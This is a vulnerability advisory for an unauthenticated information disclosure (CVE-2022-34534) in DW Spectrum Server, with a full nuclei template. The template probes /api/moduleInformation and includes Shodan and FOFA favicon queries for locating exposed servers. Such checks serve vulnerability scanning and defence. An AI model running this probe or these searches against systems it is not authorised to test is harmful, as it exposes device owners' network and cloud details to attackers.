Digital Watchdog DW Spectrum Server 4.2.0.32842 - Information Disclosure

highseverity

7.5CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Digital Watchdog DW Spectrum Server 4.2.0.32842 allows attackers to access sensitive infromation via a crafted API call.

Impact

Unauthenticated attackers can access sensitive system information including network configuration, remote addresses, and cloud host details through the moduleInformation API endpoint, potentially facilitating further attacks.

Fix

Update Digital Watchdog DW Spectrum Server to a version newer than 4.2.0.32842 that requires authentication for the moduleInformation API endpoint.

How to confirm it

Send: GET {{BaseURL}}/api/moduleInformation
Positive when: contains_all(body, "name\":", "cloudHost\":", "remoteAddresses") and contains(header, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-34534 -u <target>

The full check

id: CVE-2022-34534

info:
  name: Digital Watchdog DW Spectrum Server 4.2.0.32842 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    Digital Watchdog DW Spectrum Server 4.2.0.32842 allows attackers to access sensitive infromation via a crafted API call.
  impact: |
    Unauthenticated attackers can access sensitive system information including network configuration, remote addresses, and cloud host details through the moduleInformation API endpoint, potentially facilitating further attacks.
  remediation: |
    Update Digital Watchdog DW Spectrum Server to a version newer than 4.2.0.32842 that requires authentication for the moduleInformation API endpoint.
  reference:
    - https://gist.github.com/secgrant/820faeeaa0cb4889edaa1d6fef83deab
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34534
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34534
    cwe-id: CWE-200
    epss-score: 0.02628
    epss-percentile: 0.85631
    cpe: cpe:2.3:o:dw:spectrum_server_firmware:4.2.0.32842:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dw
    product: spectrum_server_firmware
    shodan-query:
      - http.favicon.hash:868509217
      - http.favicon.hash:"868509217"
    fofa-query: icon_hash="868509217"
  tags: cve,cve2022,digital-watchdog,dw,spectrum,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/moduleInformation"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "name\":", "cloudHost\":", "remoteAddresses")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from